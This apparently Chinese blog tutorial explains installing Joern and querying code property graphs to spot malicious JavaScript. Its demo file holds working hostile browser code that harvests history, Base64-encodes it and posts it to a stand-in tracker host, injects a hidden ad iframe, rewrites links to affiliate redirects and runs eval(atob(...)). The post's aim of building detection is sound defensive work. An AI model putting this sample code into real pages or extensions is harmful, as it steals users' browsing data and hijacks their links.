joern工具的使用

一、joern工具的含义

joern是用于基于CPG制作的静态扫描工具。

CPG(代码属性图)是由AST(abstract syntax tree抽象语法树)、CFG(control flow graph控制流图)、PDG(program dependence graph程序依赖图)结构融合而成的图形结构。

对于joern和CPG含义和概念方面的详情请参考:

深入浅出Joern(一)Joern与CPG是什么?-腾讯云开发者社区-腾讯云

二、joern工具的下载

在Windows系统下

不要在以下网站下载整个joern工具(因为我下了七天都没有成功o(╥﹏╥)o)

https://github.com/joernio/joern

最好下载joern-cli,网站为:Releases · joernio/joern · GitHub

下载joern-cli.zip

将下载的文件放到想放的位置

右击点开终端

在终端输入 

sbt stage

这里的速度就很快了(如果遇到报错,比如对于无法下载github上的东西就翻墙喽,或者直接在本地下载再放到专门的文件夹)

完成后,配置系统环境

根据你放joern-cli的位置配置系统环境。

这样就直接可以在终端使用joern工具了!(✿✿ヽ(°▽°)ノ✿ 此中艰苦你懂我也懂)

至于其他系统安装joern的方法可以参考GitHub - joernio/joern: Open-source code analysis platform for C/C++/Java/Binary/Javascript/Python/Kotlin based on code property graphs. Discord https://discord.gg/vv4MH284Hc

三、joern的使用

在终端打开joern工具

输入你要分析的文件(文件路径一定要用"/")

如此你就得到cpg

importCode("C:/Users/22617/Desktop/malicious-ad-demo.js")

malicious-ad-demo.js文件的内容为:

// ----------- 用户跟踪行为 -----------
// 1. 收集点击事件
document.addEventListener("click", function (e) {
    const clickData = {
        x: e.clientX,
        y: e.clientY,
        timestamp: Date.now(),
        page: window.location.href
    };
    // 将数据存储到本地
    localStorage.setItem("user_clicks", JSON.stringify(clickData));
});

// 2. 读取浏览历史(需chrome.history权限)
// 检测 manifest 中的权限声明(需单独分析 manifest.json) cpg.literal("\"chrome.history\"").location.l
chrome.history.search({ text: "" }, function (historyItems) {
    const historyData = historyItems.map(item => item.url);
    sendToTracker(historyData); // 发送到跟踪服务器
});

// ----------- 动态广告注入 -----------
// 3. 插入隐藏的广告iframe
const adIframe = document.createElement("iframe");
adIframe.style.display = "none";
adIframe.src = "https://malicious-ads.com/track?uid=12345";
document.body.appendChild(adIframe); 

// 4. 替换页面链接为附属链接
const links = document.querySelectorAll("a");
links.forEach(link => {
    const originalUrl = link.href;
    link.href = `https://affiliate-partner.net/redirect?ref=666&target=${encodeURIComponent(originalUrl)}`;
});

// ----------- 数据外传 -----------
// 5. 发送数据到广告服务器(Base64混淆)
function sendToTracker(data) {
    const encodedData = btoa(JSON.stringify(data));
    fetch("https://tracker-analytics.com/log", { 
        method: "POST",
        body: `data=${encodedData}`
    });
}

// 6. 动态执行远程脚本  cpg.call.where(_.argument.code(".*eval.*atob.*")).map(n=> List(n.lineNumber, n.code)).l
setTimeout(() => {
    const script = document.createElement("script");
    script.innerHTML = "eval(atob('ZG9jdW1lbnQud3JpdGUoIjwhLS0gQWRzIC0tPiIpOw=='));"; // 解码后为插入广告注释
    document.head.appendChild(script);
}, 5000);

 用这个命令可以检测到调用的函数和后面包含的代码内容。可以得到很多内容。

.*是正则表达式,用来表示省略的内容。

cpg.call.name("addEventListener").where(_.argument.code(".*click.*")).l

cpg.call.where(_.methodFullName(".*localStorage\\.setItem.*")).l

用"|" 表示或者

cpg.call.name("appendChild|insertAdjacentHTML|innerHTML").l

用map()显示你想要的具体内容。map(n=> List(n.lineNumber, n.code)显示行数和具体代码。

cpg.call.where(_.argument.code(".*eval.*atob.*")).map(n=> List(n.lineNumber, n.code)).l

具体其他使用方法请参考官方文档:

Overview | Joern Documentation

目前我就了解到这里啦,但是我现在使用的joern工具不能检测大数据量的js文件,不知道哪里出了问题。希望有大佬能帮我解答一下。当然,如果我后期解决了一定会继续分享的。(保佑我吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值